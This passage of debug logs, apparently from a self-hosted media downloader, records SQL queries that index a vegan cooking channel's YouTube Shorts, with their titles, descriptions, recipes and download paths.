your support! Janelle", "Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts", 1, 13, false, "8ZkQI5tsCxQ", "https://www.youtube.com/shorts/8ZkQI5tsCxQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts/Are You in the Mood For Something Sweet? 🤤 😋 👍#shorts #youtubeshorts [8ZkQI5tsCxQ].NA", true, ~U[2022-07-07 21:00:04Z]] 20:31:10.510 [debug] QUERY OK source="sources" db=1.0ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.512 [debug] QUERY OK source="media_items" db=1.7ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 19:05:27Z], 1] 20:31:10.513 [debug] QUERY OK source="media_items" db=0.8ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Are you thinking of trying out more vegan and gluten free recipes but are too worried about how you'll bake some of your favorite chocolate baking recipes? I have lots of delicious vegan and gluten free recipes on my channel including brownies, chocolate cream pie, chocolate nut clusters and more for your consumption. Enjoy!!!\n\nDon't forget to subscribe so you don't miss any of my weekly videos! I'll be doing some delicious chocolate nice creams in the coming weeks! Janelle", "Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts", "c600d67e-3fe3-48bf-b9c5-ab4114361dbd", 1, [], 11, false, "A2S8AkjMmx0", "https://www.youtube.com/shorts/A2S8AkjMmx0", 326, "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts/Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts [A2S8AkjMmx0].NA", false, false, true, 3, ~U[2022-07-07 19:05:27Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Are you thinking of trying out more vegan and gluten free recipes but are too worried about how you'll bake some of your favorite chocolate baking recipes? I have lots of delicious vegan and gluten free recipes on my channel including brownies, chocolate cream pie, chocolate nut clusters and more for your consumption. Enjoy!!!\n\nDon't forget to subscribe so you don't miss any of my weekly videos! I'll be doing some delicious chocolate nice creams in the coming weeks! Janelle", "Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts", 1, 11, false, "A2S8AkjMmx0", "https://www.youtube.com/shorts/A2S8AkjMmx0", "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts/Vegan Chocolate Recipes to Make You 🤤 🤤 🤤 ~ Gluten Free too!!! #shorts #youtubeshorts [A2S8AkjMmx0].NA", true, ~U[2022-07-07 19:05:27Z]] 20:31:10.513 [debug] QUERY OK source="sources" db=0.5ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.515 [debug] QUERY OK source="media_items" db=1.7ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-07 17:13:35Z], 1] 20:31:10.518 [debug] QUERY OK source="media_items" db=0.7ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Quick pickling is an aboslute must for you this summer to make meal prep way easier and increase the flavor of your veggies. This week I'll be launching several videos about quick pickling on my channel.\n\nCheck out the first episode here: https://youtu.be/kmBLjqO1DM8\n\nSubscribe so you don't miss any of the episodes! Thanks for your support! Janelle", "Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts", "499d65b1-867c-4f6f-9c38-6f341f1dee2f", 1, [], 13, false, "mPPVrxHgIig", "https://www.youtube.com/shorts/mPPVrxHgIig", 327, "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts/Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts [mPPVrxHgIig].NA", false, false, true, 3, ~U[2022-07-07 17:13:35Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Quick pickling is an aboslute must for you this summer to make meal prep way easier and increase the flavor of your veggies. This week I'll be launching several videos about quick pickling on my channel.\n\nCheck out the first episode here: https://youtu.be/kmBLjqO1DM8\n\nSubscribe so you don't miss any of the episodes! Thanks for your support! Janelle", "Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts", 1, 13, false, "mPPVrxHgIig", "https://www.youtube.com/shorts/mPPVrxHgIig", "/downloads/downloads/alec/Steamy Vegan/2022-07-07 Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts/Transform Your Veggies 🥕 🧅🌶#shorts #youtubeshorts [mPPVrxHgIig].NA", true, ~U[2022-07-07 17:13:35Z]] 20:31:10.518 [debug] QUERY OK source="sources" db=0.6ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.520 [debug] QUERY OK source="media_items" db=1.9ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 23:50:59Z], 1] 20:31:10.522 [debug] QUERY OK source="media_items" db=1.1ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So in case you were wondering 💭… I LOVE pickled onions! 🧅🧅🧅 I got quite a few of them in my latest mystery produce box from @pekoproduce and am so happy to share how to pickle them! This is a great way to preserve your produce if you have an abundance and don’t want them to go to waste (#lowwaste) Plus, pickled onions are flippin DELICIOUS! This is going to be your new fave summer essential 🤤\n\nSave this recipe below ⬇️ and head to steamyvegankitchen.com/pickled-red-onions/ for the full breakdown and recipe video!\n\nINGREDIENTS\n 1 large red onion (or 2 medium)\n1¼ cup water\n1¼ cup distilled white vinegar or apple cider vinegar\n1½ tsp sea salt or kosher salt\n2 tsp cane sugar\n1 to 2 tbsp whole pickling spice blend (optional)\n\n1. In a small saucepan, combine the water, vinegar, salt and sugar and mix. Place on the stove and bring to a boil, ensuring the salt and sugar dissolves completely.\n2. While the brine comes to a boil, thinly slice your red onion and stuff it into the glass jar.\n3. Pour the boiling hot brine over the onions in the jar and let sit until cool. Seal with the lid, place in the fridge for at least 4 hours and enjoy!\n\nIf you’re in the Metro Vancouver 🇨🇦 area and are looking to save money on groceries AND help keep imperfectly-perfect produce out of our landfills, check out @pekoproduce and order yourself a mystery box of produce! I have a $5 off coupon for you in my BIO! 🙌🏻\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood \n\nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD", "Pickling red onions is as easy as 1-2-3! 🧅", "e337f3b6-9357-452e-be88-c0f972346f8f", 1, [], 47, false, "KIfKgHYYIMI", "https://www.youtube.com/shorts/KIfKgHYYIMI", 328, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickling red onions is as easy as 1-2-3! 🧅/Pickling red onions is as easy as 1-2-3! 🧅 [KIfKgHYYIMI].NA", false, false, true, 5, ~U[2022-07-06 23:50:59Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "So in case you were wondering 💭… I LOVE pickled onions! 🧅🧅🧅 I got quite a few of them in my latest mystery produce box from @pekoproduce and am so happy to share how to pickle them! This is a great way to preserve your produce if you have an abundance and don’t want them to go to waste (#lowwaste) Plus, pickled onions are flippin DELICIOUS! This is going to be your new fave summer essential 🤤\n\nSave this recipe below ⬇️ and head to steamyvegankitchen.com/pickled-red-onions/ for the full breakdown and recipe video!\n\nINGREDIENTS\n 1 large red onion (or 2 medium)\n1¼ cup water\n1¼ cup distilled white vinegar or apple cider vinegar\n1½ tsp sea salt or kosher salt\n2 tsp cane sugar\n1 to 2 tbsp whole pickling spice blend (optional)\n\n1. In a small saucepan, combine the water, vinegar, salt and sugar and mix. Place on the stove and bring to a boil, ensuring the salt and sugar dissolves completely.\n2. While the brine comes to a boil, thinly slice your red onion and stuff it into the glass jar.\n3. Pour the boiling hot brine over the onions in the jar and let sit until cool. Seal with the lid, place in the fridge for at least 4 hours and enjoy!\n\nIf you’re in the Metro Vancouver 🇨🇦 area and are looking to save money on groceries AND help keep imperfectly-perfect produce out of our landfills, check out @pekoproduce and order yourself a mystery box of produce! I have a $5 off coupon for you in my BIO! 🙌🏻\n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals #lowwaste #lowwasteliving #lowwastecooking #lowwastekitchen #sustainablecook #sustainablecooking #pursuepretty #prettyfood \n\nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD", "Pickling red onions is as easy as 1-2-3! 🧅", 1, 47, false, "KIfKgHYYIMI", "https://www.youtube.com/shorts/KIfKgHYYIMI", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickling red onions is as easy as 1-2-3! 🧅/Pickling red onions is as easy as 1-2-3! 🧅 [KIfKgHYYIMI].NA", true, ~U[2022-07-06 23:50:59Z]] 20:31:10.523 [debug] QUERY OK source="sources" db=0.6ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.524 [debug] QUERY OK source="media_items" db=1.5ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 18:59:40Z], 1] 20:31:10.525 [debug] QUERY OK source="media_items" db=0.6ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This week I'll be posting several videos all about quick pickling. If you want to find out more about pickling or how Rick Sanchez from Rick and Morty turned himself into a pickle then you'll want to subscribe to find out more!\n\nFirst Pickling VIdeo of the Week Here: https://youtu.be/kmBLjqO1DM8", "Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts", "c4a4b21a-a133-467c-87c3-6d97c5dac66d", 1, [], 14, false, "DMhngAFTVNU", "https://www.youtube.com/shorts/DMhngAFTVNU", 329, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts/Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts [DMhngAFTVNU].NA", false, false, true, 5, ~U[2022-07-06 18:59:40Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "This week I'll be posting several videos all about quick pickling. If you want to find out more about pickling or how Rick Sanchez from Rick and Morty turned himself into a pickle then you'll want to subscribe to find out more!\n\nFirst Pickling VIdeo of the Week Here: https://youtu.be/kmBLjqO1DM8", "Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts", 1, 14, false, "DMhngAFTVNU", "https://www.youtube.com/shorts/DMhngAFTVNU", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts/Pickle Rick vs Pickle Janelle - Become a pickle master #youtubeshorts #shorts [DMhngAFTVNU].NA", true, ~U[2022-07-06 18:59:40Z]] 20:31:10.527 [debug] QUERY OK source="sources" db=0.4ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.529 [debug] QUERY OK source="media_items" db=2.2ms idle=5.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 18:02:14Z], 1] 20:31:10.532 [debug] QUERY OK source="media_items" db=1.9ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Pickled red onions are a summer ESSENTIAL in my house! Great for preserving and also saving money! I love using them as a topping for practically anything... burgers, nachos, tacos, pirogies, salads... you name it. Plus they're heckin' DELISH.\n\nGET THE FULL RECIPE: https://youtu.be/kmBLjqO1DM8", "Pickled red onions are a summer ESSENTIAL", "42863a8c-231b-40d2-9b28-5f21b88265c7", 1, [], 15, false, "4NxCiNNs9SQ", "https://www.youtube.com/shorts/4NxCiNNs9SQ", 330, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickled red onions are a summer ESSENTIAL/Pickled red onions are a summer ESSENTIAL [4NxCiNNs9SQ].NA", false, false, true, 5, ~U[2022-07-06 18:02:14Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Pickled red onions are a summer ESSENTIAL in my house! Great for preserving and also saving money! I love using them as a topping for practically anything... burgers, nachos, tacos, pirogies, salads... you name it. Plus they're heckin' DELISH.\n\nGET THE FULL RECIPE: https://youtu.be/kmBLjqO1DM8", "Pickled red onions are a summer ESSENTIAL", 1, 15, false, "4NxCiNNs9SQ", "https://www.youtube.com/shorts/4NxCiNNs9SQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 Pickled red onions are a summer ESSENTIAL/Pickled red onions are a summer ESSENTIAL [4NxCiNNs9SQ].NA", true, ~U[2022-07-06 18:02:14Z]] 20:31:10.532 [debug] QUERY OK source="sources" db=0.4ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.535 [debug] QUERY OK source="media_items" db=2.5ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 16:25:01Z], 1] 20:31:10.536 [debug] QUERY OK source="media_items" db=0.6ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Rick Sanchez from Rick and Morty is officially the first person to ever become a pickle. Well today on our channel our first of 3 pickling videos goes live where we talk all about how to quick-pickle anything... maybe, even yourself!\n\nSubscribe so you don't miss a single quick-pickling video!", "The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts", "5044ed71-859c-4fc6-83e6-7beab6c0342a", 1, [], 14, false, "EasOgCnB98Y", "https://www.youtube.com/shorts/EasOgCnB98Y", 331, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts/The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts [EasOgCnB98Y].NA", false, false, true, 5, ~U[2022-07-06 16:25:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Rick Sanchez from Rick and Morty is officially the first person to ever become a pickle. Well today on our channel our first of 3 pickling videos goes live where we talk all about how to quick-pickle anything... maybe, even yourself!\n\nSubscribe so you don't miss a single quick-pickling video!", "The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts", 1, 14, false, "EasOgCnB98Y", "https://www.youtube.com/shorts/EasOgCnB98Y", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts/The first person ever to turn themselves into a pickle. Will you be the 2nd? #youtubeshorts #shorts [EasOgCnB98Y].NA", true, ~U[2022-07-06 16:25:01Z]] 20:31:10.537 [debug] QUERY OK source="sources" db=0.9ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.541 [debug] QUERY OK source="media_items" db=2.2ms queue=0.2ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-05 23:55:01Z], 1] 20:31:10.542 [debug] QUERY OK source="media_items" db=1.3ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Do you like to lick the brownie batter off the spatula? It's almost as good as the final product but trust me you'll want to see the recipe for these vegan, gluten free and nut free protein chocolate brownies. They're irresistable!\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe for more finger licking good vegan and gluten free weekly recipes!!! Thanks for your support! Janelle", "Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts", "3eba3ad0-8c51-4633-8c88-f1859521fd66", 1, [], 19, false, "WiSFLeUJmfQ", "https://www.youtube.com/shorts/WiSFLeUJmfQ", 332, "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts/Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts [WiSFLeUJmfQ].NA", false, false, true, 4, ~U[2022-07-05 23:55:01Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "Do you like to lick the brownie batter off the spatula? It's almost as good as the final product but trust me you'll want to see the recipe for these vegan, gluten free and nut free protein chocolate brownies. They're irresistable!\n\nFull Recipe Video: https://youtu.be/CaX3rd60OUk\n\nSubscribe for more finger licking good vegan and gluten free weekly recipes!!! Thanks for your support! Janelle", "Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts", 1, 19, false, "WiSFLeUJmfQ", "https://www.youtube.com/shorts/WiSFLeUJmfQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-05 Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts/Could you help me finish all this chocolate brownie batter on my finger? #youtubeshorts #shorts [WiSFLeUJmfQ].NA", true, ~U[2022-07-05 23:55:01Z]] 20:31:10.543 [debug] QUERY OK source="sources" db=0.6ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.545 [debug] QUERY OK source="media_items" db=1.8ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-05 22:00:00Z], 1] 20:31:10.546 [debug] QUERY OK source="media_items" db=0.6ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["LOVE of course is always the special ingredient of any brownies. I make my brownies with love for those who follow a vegan, gluten free, and nut free diet. \n\nAnd no, there isn't THAT special ingredient in my brownies but I do use a very different technique to make mine packed full of protein. \n\nFull recipe video here: https://youtu.be/CaX3rd60OUk", "What special ingredient makes my brownies so special? #youtubeshorts #shorts", "20ab16ea-455a-4c36-b60c-dc6b9ba3d11d", 1, [], 19, false, "1Y9vJON2KyA", "https://www.youtube.com/shorts/1Y9vJON2KyA", 333, "/downloads/downloads/alec/Steamy Vegan/2022-07-05 What special ingredient makes my brownies so special? #youtubeshorts #shorts/What special ingredient makes my brownies so special? #youtubeshorts #shorts [1Y9vJON2KyA].NA", false, false, true, 4, ~U[2022-07-05 22:00:00Z], ~U[2026-03-22 03:31:10Z], ~U[2026-03-22 03:31:10Z], "LOVE of course is always the special ingredient of any brownies. I make my brownies with love for those who follow a vegan, gluten free, and nut free diet. \n\nAnd no, there isn't THAT special ingredient in my brownies but I do use a very different technique to make mine packed full of protein. \n\nFull recipe video here: https://youtu.be/CaX3rd60OUk", "What special ingredient makes my brownies so special? #youtubeshorts #shorts", 1, 19, false, "1Y9vJON2KyA", "https://www.youtube.com/shorts/1Y9vJON2KyA", "/downloads/downloads/alec/Steamy Vegan/2022-07-05 What special ingredient makes my brownies so special? #youtubeshorts #shorts/What special ingredient makes my brownies so special? #youtubeshorts #shorts [1Y9vJON2KyA].NA", true, ~U[2022-07-05 22:00:00Z]] 20:31:10.547 [debug] QUERY OK source="sources" db=0.5ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:10.548 [debug] QUERY OK source="media_items" db=1.7ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-05 17:30:05Z], 1] 20:31:10.556 [debug] QUERY OK source="media_items" db=6.3ms idle=5.6ms INSERT INTO "media_items" AS m0 